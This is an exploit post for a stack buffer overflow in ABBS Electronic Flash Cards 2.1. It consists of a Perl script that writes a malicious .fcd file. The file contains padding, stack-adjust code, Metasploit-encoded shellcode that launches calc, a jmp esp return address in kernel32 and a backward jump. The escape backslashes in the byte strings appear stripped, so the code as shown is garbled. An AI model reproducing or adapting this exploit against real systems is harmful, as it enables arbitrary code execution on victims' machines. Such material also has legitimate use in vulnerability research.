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ABBS Electronic Flash Cards 2.1 Buffer Overflow

Posted on 15 March 2011

# Exploit Title: ABBS Electronic Flash Cards Buffer Overflow Exploit
# Software Link: http://abbs.qsnx.net/downloads/abbs-flashcards.zip
# Version: 2.1
# triggering details : open the app, go to test, click on random, and start test, then chose the fcd file, and booom calc pops up
# Tested on: Win XP SP3 French
# Date: 14/03/2011
# Author: h1ch4m
# Email: h1ch4m@live.fr
# Home: http://net-effects.blogspot.com


my $file= "exploit.fcd";
my $size = 4108;

# make a room for our shellcode
my $stack = "x31xc0" .             # xor eax, eax
"xb4x10" .             # mov ah, 10h
"x29xc4" .             # sub esp, eax
"x90";                  # nop, 0x0a is a bad char, so i added a nop 0x0a becomes 0x09 (jump)

# windows/exec - 223 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# EXITFUNC=seh, CMD=calc
my $shellcode = "xbfxa0x03xb5xf2x33xc9xb1x32xdbxdfxd9x74x24" .
"xf4x5ax31x7ax0ex03x7ax0ex83x62x07x57x07x9e" .
"xe0x1exe8x5exf1x40x60xbbxc0x52x16xc8x71x63" .
"x5cx9cx79x08x30x34x09x7cx9dx3bxbaxcbxfbx72" .
"x3bxfaxc3xd8xffx9cxbfx22x2cx7fx81xedx21x7e" .
"xc6x13xc9xd2x9fx58x78xc3x94x1cx41xe2x7ax2b" .
"xf9x9cxffxebx8ex16x01x3bx3ex2cx49xa3x34x6a" .
"x6axd2x99x68x56x9dx96x5bx2cx1cx7fx92xcdx2f" .
"xbfx79xf0x80x32x83x34x26xadxf6x4ex55x50x01" .
"x95x24x8ex84x08x8ex45x3exe9x2fx89xd9x7ax23" .
"x66xadx25x27x79x62x5ex53xf2x85xb1xd2x40xa2" .
"x15xbfx13xcbx0cx65xf5xf4x4fxc1xaax50x1bxe3" .
"xbfxe3x46x69x41x61xfdxd4x41x79xfex76x2ax48" .
"x75x19x2dx55x5cx5excfxa4x6dx4ax58x1fx04x37" .
"x04xa0xf2x7bx31x23xf7x03xc6x3bx72x06x82xfb" .
"x6ex7ax9bx69x91x29x9cxbbxf2xacx0ex27xf5";

my $eip = pack('V', 0x7c86467b);      # jmp esp  kernel32.dll
my $nops = "x90" x 8;

my $jump = "xe9x09xffxffxff";    # jump back 247 bytes

my $junk = "x90" x ($size-length($stack.$shellcode));
open($FILE,">$file");
print $FILE $junk.$stack.$shellcode.$eip.$nops.$jump;
close($FILE);
print "Files Created successfully
";
sleep(1);

 

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